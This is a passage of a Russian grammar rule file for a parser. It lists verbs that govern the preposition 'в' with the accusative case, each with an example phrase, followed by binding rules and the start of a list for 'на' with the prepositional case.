rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) 